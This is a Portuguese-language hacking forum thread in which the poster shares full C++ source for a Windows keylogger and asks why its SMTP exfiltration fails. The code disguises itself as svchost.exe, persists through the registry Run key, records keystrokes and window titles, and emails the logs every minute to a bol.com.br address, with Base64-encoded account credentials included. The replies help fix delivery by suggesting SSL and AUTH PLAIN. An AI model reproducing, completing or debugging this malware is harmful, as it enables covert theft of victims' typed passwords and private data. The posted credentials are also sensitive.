Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Problema com SMTP em keylogger c++

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    C / C++ Problema com SMTP em keylogger c++

    Encontrei varias sources de keyloggers em C/C++ que diziam enviar os logs por email via SMTP, mas em sua maioria nem se quer registravam mesmo as teclas.

    Depois de procurar muito mais achei um que chegou mais proximo do que eu queria, estava com alguns erros e tive que fazer algumas alterações. Ele está registransdo bem as teclas e salvando no log, o problema é quando vai enviar. Ele simplesmente não envia.

    main.cpp
    Código:
    #include "FUNCOES.H"  //Header com funçoes
    #include "email.h"    //Header com funçao do email
    
    int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevHinstance,LPSTR lpCmdLine,int nShowCmd){ //Inicialização 
    FreeConsole();
    copiar(); //Função para auto-cópia 
    reg(); //Função para adicionar valor ao registro 
    GetLocalTime(&time); //Obtém tempo 
    mim =  time.wMinute; //Armazena o(s) minuto(s), no(s) qual(quais) o programa iniciou. 
    while(1) //Loop 
    { 
    Sleep(1); //Pause 
    
    GetLocalTime(&time); //Obtém tempo 
    t = time.wMinute-mim; //Subtrai o tempo atual, com o tempo de inicialização 
    
    if(t<0) //Caso seja um valor negativo, converte para minutos 
    t = 60 + t; 
    
    if(t==tempo){ //Verifica se a diferença é igual ao tempo especificado. 
    enviar(); //Se sim, envia o log e atualiza o tempo. 
    mim = time.wMinute; 
    } 
    
    janela = GetForegroundWindow(); //Obtém HWND da janela em foco 
    if(janela!=janela_aux){ //Compara se é diferente da útltima obtida. 
    janela_aux = janela; //Se sim, iguala os HWND's. 
    GetWindowText(janela,titulo,255); //Obtém o título da janela 
    if(strcmp(titulo,"")!=0){ //Compara se o título não está em branco. 
    log = fopen(log_file,"a+"); //Caso não, abre o arquivo de log. 
    fprintf(log,"\n[%s]\n{TECLAS DIGITADAS}:\n",titulo); //Adiciona o título da janela, e uma referência às teclas digitadas. 
    fclose(log); //Fecha o log. 
    }} 
    
    
    if(GetAsyncKeyState(0x8)==-32767){  //Verifica a tecla BACKSPACE 
       if(strlen(teclas)>0){ //Se houverem teclas digitadas no buffer. 
    teclas_aux =  new char[strlen(teclas)]; //Cria uma variável com tamanho do buffer. 
    memset(teclas_aux,0,strlen(teclas)); //Aloca o espaço na variável. 
    strncpy(teclas_aux,teclas,strlen(teclas)-1); //Copia até a penúltima tecla do buffer para a variável. 
    strcpy(teclas,teclas_aux); //Retorna o conteúdo da variável auxiliar ao buffer principal. 
    delete[] teclas_aux; //Remove a alocação da variável. 
    } } 
    
    if(GetAsyncKeyState(0xD)==-32767){ //Verifica por ENTER 
    strcat(teclas,"\n"); //Adiciona quebra de linha. 
    log = fopen(log_file,"a+"); //Abre o arquivo de log. 
    fputs(teclas,log); //Adiciona as teclas armazenadas no buffer no arquivo. 
    fclose(log); //Fecha o arquivo. 
    sprintf(teclas,""); //Limpa o buffer. 
    
          } 
    
    if(GetAsyncKeyState(0x10)) //Verifica por SHIFT 
    logar_shift(); //Chama pela função respectiva. 
    
    if(GetAsyncKeyState(0x20)==-32767) //Verica ESPAÇO. 
    strcat(teclas," "); //Adiciona o espaço ao buffer. 
    
    caps = GetKeyState(0x14); //Verifica CAPS-LOCK 
    switch(caps) 
    { 
    case 0: 
       logar_normal(); //Se caps lock estiver desligado 
       break; 
    case 1: 
       logar_caps(); //Se estiver ligado 
    } 
    
    for(num=48;num<=57;num++) //Loga números 
    if(GetAsyncKeyState(num)==-32767) 
    sprintf(teclas,"%s%c",teclas,num); 
    
    //Loga teclado númerico. (0123...9 +*/-.) 
    for(num2=96;num2<=105;num2++) 
    if(GetAsyncKeyState(num2)==-32767) 
       sprintf(teclas,"%s%c",teclas,num2-48); 
    
    //Loga outros caracteres. 
    if(GetAsyncKeyState(106)==-32767) 
    sprintf(teclas,"%s*",teclas); 
    
    if(GetAsyncKeyState(107)==-32767) 
    sprintf(teclas,"%s+",teclas); 
    
    if(GetAsyncKeyState(109)==-32767) 
    sprintf(teclas,"%s-",teclas); 
    
    if(GetAsyncKeyState(110)==-32767) 
    sprintf(teclas,"%s.",teclas); 
    
    if(GetAsyncKeyState(111)==-32767) 
    sprintf(teclas,"%s/",teclas); 
    
    if(GetAsyncKeyState(186)==-32767) 
    sprintf(teclas,"%s;",teclas); 
    
    if(GetAsyncKeyState(187)==-32767) 
    sprintf(teclas,"%s=",teclas); 
    
    if(GetAsyncKeyState(188)==-32767) 
    sprintf(teclas,"%s,",teclas); 
    
    if(GetAsyncKeyState(189)==-32767) 
    sprintf(teclas,"%s-",teclas); 
    
    if(GetAsyncKeyState(190)==-32767) 
    sprintf(teclas,"%s.",teclas); 
    
    if(GetAsyncKeyState(191)==-32767) 
    sprintf(teclas,"%s/",teclas); 
    
    if(GetAsyncKeyState(192)==-32767) 
    sprintf(teclas,"%s`",teclas); 
    
    if(GetAsyncKeyState(219)==-32767) 
    sprintf(teclas,"%s[",teclas); 
    
    if(GetAsyncKeyState(220)==-32767) 
    sprintf(teclas,"%s\\",teclas); 
    
    if(GetAsyncKeyState(221)==-32767) 
    sprintf(teclas,"%s]",teclas); 
    
    if(GetAsyncKeyState(222)==-32767) 
    sprintf(teclas,"%s'",teclas); 
    
    } 
    return 0; 
    
    }

    FUNCOES.H
    Código:
    #include <io.h> //Entrada e saída. 
    #include <stdio.h> //Entrada e saída padronizados. 
    #include <string.h> //Header para manipulamento de string. 
    #include <windows.h> //Header do windows. 
    #include <winsock.h> //Header do winsock. 
    #pragma comment(lib,"wsock32") //Lib do winsock 
    //
    //
    
    
    SYSTEMTIME time; //Struct para capturar tempo. 
    FILE *log; //Arquivo. 
    
    //Variáveis gerais 
    char teclas[9999],*teclas_aux,titulo[255],*buffer,header[500]; 
    short caps; 
    int c,n,num,num2,mim,s,t; 
    HWND janela,janela_aux; 
    
    //Variáveis do winsock 
    WSADATA data; 
    SOCKET winsock; 
    SOCKADDR_IN sock; 
    HOSTENT *host; 
      
    
    
    void copiar(){ //Função de cópia 
    char buffer[255]; 
    GetModuleFileName(GetModuleHandle(NULL),buffer,255); //Obtém caminho completo de onde o arquivo foi executado. 
    CopyFile(buffer,"c:\\WINDOWS\\svchost.exe",0); //Faz cópia do arquivo para C:\WINDOWS\SYSTEM\WinLogon.exe 
    } 
    
    void reg(){ //Função de registro 
         HKEY chave; 
         RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN",&chave); //Abre chave de inicialização automática. 
         RegSetValueEx(chave,"svchost",0,1,(LPBYTE)"c:\\WINDOWS\\svchost.exe",32); //Cria valor no registro. 
         RegCloseKey(chave); //Fecha chave. 
    } 
    
    void logar_normal(){ //Loga quando nem shift nem caps lock, estiverem acionados. 
    
       for(n=65;n<=90;n++) //Letras 
    if(GetAsyncKeyState(n)==-32767) 
    sprintf(teclas,"%s%c",teclas,n+32); 
    } 
    
    void logar_shift(){ //Loga quando shift está pressionado. 
    for(s=48;s<=57;s++) //Números que combinados com shift, formarão símbolos. 
    if(GetAsyncKeyState(s)==-32767) 
    switch(s) 
    { 
       case 48: 
    sprintf(teclas,"%s)",teclas); 
    break; 
    
       case 49: 
    sprintf(teclas,"%s!",teclas); 
    break; 
    
       case 50: 
    sprintf(teclas,"%s@",teclas); 
    break; 
       case 51: 
    sprintf(teclas,"%s#",teclas); 
    break; 
       case 52: 
    sprintf(teclas,"%s$",teclas); 
    break; 
        case 53: 
    sprintf(teclas,"%s%%",teclas); 
    break; 
       case 54: 
    sprintf(teclas,"%s^",teclas); 
    break; 
       case 55: 
    sprintf(teclas,"%s%&",teclas); 
    break; 
       case 56: 
    sprintf(teclas,"%s*",teclas); 
    break; 
       case 57: 
    sprintf(teclas,"%s(",teclas); 
    break; 
    } 
    //Outros símbolos 
    if(GetAsyncKeyState(186)==-32767) 
    sprintf(teclas,"%s:",teclas); 
    
    if(GetAsyncKeyState(187)==-32767) 
    sprintf(teclas,"%s+",teclas); 
    
    if(GetAsyncKeyState(188)==-32767) 
    sprintf(teclas,"%s<",teclas); 
    
    if(GetAsyncKeyState(189)==-32767) 
    sprintf(teclas,"%s_",teclas); 
    
    if(GetAsyncKeyState(190)==-32767) 
    sprintf(teclas,"%s>",teclas); 
    
    if(GetAsyncKeyState(191)==-32767) 
    sprintf(teclas,"%s?",teclas); 
    
    if(GetAsyncKeyState(192)==-32767) 
    sprintf(teclas,"%s~",teclas); 
    
    if(GetAsyncKeyState(219)==-32767) 
    sprintf(teclas,"%s{",teclas); 
    
    if(GetAsyncKeyState(220)==-32767) 
    sprintf(teclas,"%s|",teclas); 
    
    if(GetAsyncKeyState(221)==-32767) 
    sprintf(teclas,"%s}",teclas); 
    
    if(GetAsyncKeyState(222)==-32767) 
    sprintf(teclas,"%s\"",teclas); 
    
    switch(caps) //Verifica o caps lock. 
    { 
       case 0:  //Se desligado,loga letras em maiúsculas. 
    for(s=65;s<=90;s++) 
    if(GetAsyncKeyState(s)==-32767) 
    sprintf(teclas,"%s%c",teclas,s); 
    break; 
    
       case 1: //Se ligado, loga letras em minúsculas. 
    for(s=65;s<=90;s++) 
    if(GetAsyncKeyState(s)==-32767) 
    sprintf(teclas,"%s%c",teclas,s+32); 
    } 
    
    } 
    void logar_caps(){ //Loga quando capslock estiver acionado. 
    for(c=65;c<=90;c++) //Letras 
    if(GetAsyncKeyState(c)==-32767) 
    sprintf(teclas,"%s%c",teclas,c); 
    }

    email.h
    Código:
    #include <winsock.h>
    #include <windows.h>
    #include <string.h>
    #include <io.h>  
    #include <stdio.h>
    
    
    #define SMTP "smtps.bol.com.br" //Seu servidor SMTP 
    #define EMAIL "receiver.dois@bol.com.br" //Seu email 
    #define USER "cmVjZWl2ZXIuZG9pcw==" //Seu login em BASE64. 
    #define PASS "a2V5a2V5MDI0Nw==" //Sua senha em BASE64. 
    #define log_file "C:\\WINDOWS\\log.txt" //Arquivo de log. 
    #define tempo 1 //Intervalo de envio em MINUTOS. 
    
    
    //Função de envio 
    void enviar(){ 
    log = fopen(log_file,"rb"); //Abre o arquivo de log para leitura binária. 
    buffer = new char[filelength(log->_file)]; //Cria variável com o tamanho do arquivo. 
    ZeroMemory(buffer,filelength(log->_file)); //Aloca espaço. 
    fread(buffer,filelength(log->_file)-2,1,log); //Obtém conteúdo do aquivo e salva na variável. 
    fclose(log); //Fecha o arquivo. 
    
    //Funções do winsock. 
    WSAStartup(MAKEWORD(1,1),&data); //Inicializa data. 
    winsock = socket(AF_INET,SOCK_STREAM,0); //Cria socket TCP. 
    host= gethostbyname(SMTP); //Obtém IP do host. 
    if(host==0) //Encerra caso o host seja desconhecido. 
    ExitProcess(0); 
    
    sock.sin_family=AF_INET; //Família do socket. 
    memcpy(&sock.sin_addr,host->h_addr_list[0],host->h_length); //Copia o IP do servidor para o socket. 
    sock.sin_port=htons(587); //Porta -> SMTP 
    
    //Abaixo uma requisição em SMTP. 
    if(connect(winsock,(SOCKADDR*)&sock,sizeof(sock))!=SOCKET_ERROR){ //Caso haja conexão: 
    sprintf(header,"EHLO localhost\r\nauth login\r\n%s\r\n%s\r\n",USER,PASS); //Envia procedimento de login 
    sprintf(header,"%sMAIL FROM: <s>\r\nRCPT TO: <s>\r\n",header,EMAIL,EMAIL); //Envia remetente e destinatário. 
    sprintf(header,"%sDATA\r\nFrom:%s\r\nTo:%s\r\nSubject: LOG\r\nMIME-VERSION: 1.0\r\nContent-type: text/plain\r\n",header,EMAIL,EMAIL); //Ajusta o assunto, e prepara o email para enviar o anexo. 
    strcat(header,"Content-Disposition: attachment;filename=\"log.txt\"\r\n"); //Anexa o arquivo de log. 
    strcat(header,"Content-Tranfer-Enconding: quote-printable\r\n\r\n"); //Tranfere em texto puro. 
    send(winsock,header,strlen(header),0); //Envia todos os headers. 
    send(winsock,buffer,strlen(buffer),0); //Envia conteúdo do log. 
    send(winsock,"\r\n.\r\n",strlen("\r\n.\r\n\r\n"),0); //Encerra e envia o email. 
    DeleteFile(log_file); //Deleta o arquivo de LOG. 
    }  
    else 
    { 
       ExitProcess(0); //Encerra em um erro de conexão. 
    } 
    
    closesocket(winsock); //Fecha socket. 
    WSACleanup(); //Limpa data. 
    
    }

  • Font Size
    #2
    já experimentou ver qual é a resposta do servidor SMTP?

    ai vc descobre qual é o erro...eu tentei me conecta aqui no smtp do bol direto pelo netcat usando o login e senha que vc posto e deu login incorreto, mas acredito que tu nao iria por a senha pra td mundo ve é claro...se não me engano o smtp do bol agora requer SSL/TLS na conexao, por isso o email talvez nao va...como eu falei, ve qual é a resposta do servidor e veja qual é o erro.

    Comment


    • Font Size
      #3
      Pra falar verdade, eu realmente pus a senha e o email ai.. mas tudo bem é um email novo.
      Esse email e senha ta encryptado em BASE64 vai dar errada mesmo.
      Como vejo a resposta do servidor?

      Comment


      • Font Size
        #4
        Trokei a senha para cGV4ZTEyMzQ1 pra testar. mas nao deu.

        Comment


        • Font Size
          #5
          cGV4ZTEyMzQ1 em Base64

          ps.: esse forum preciza de um EDIT

          Comment


          • Font Size
            #6
            Postado Originalmente por BerBer Ver Post
            Pra falar verdade, eu realmente pus a senha e o email ai.. mas tudo bem é um email novo.
            Esse email e senha ta encryptado em BASE64 vai dar errada mesmo.
            Como vejo a resposta do servidor?
            sim, eu sei que ta em base 64...quando faz login em smtp sempre eh em base 64...ta ai o print do que eu fiz e msm assim não consigo entra:

            Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

            Comment


            • Font Size
              #7
              Isso deve ser por causa do SSL, alguem tem uma ideia sobre como adiciono ssl a este comando?

              Comment


              • Font Size
                #8
                Faz um teste e ve se funciona:
                troque a linha:
                sprintf(header,"EHLO localhost\r\nauth login\r\n%s\r\n%s\r\n",USER,PASS); //Envia procedimento de login
                por:
                sprintf(header,"EHLO localhost\r\nauth plain %S\r\n",LOGIN); //Envia procedimento de login

                Onde LOGIN deve ser um base64 de "USER\0USER\0PASS"

                Em geral se o servidor aceitar autenticação do tipo plain deve ir tranquilo.

                []s
                Wahooka

                Comment


                • Font Size
                  #9
                  Bem, queria ter conhecimento um pouco mais do seu problema, acho que posso resolve-lo.
                  Já tive problema com SMTP em C# e resolvi. Qualquer coisa me adc choquelf2@hotmail.com

                  I WILL CODE C# FOR FOOD !

                  Comment


                  • Font Size
                    #10
                    o que exatamente você quis dizer com "USER\0USER\0PASS"?
                    esse 0 ai q eu n intendi

                    Comment


                    • Font Size
                      #11
                      Postado Originalmente por BerBer Ver Post
                      Isso deve ser por causa do SSL, alguem tem uma ideia sobre como adiciono ssl a este comando?
                      Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

                      Comment

                      X
                      Working...
                      X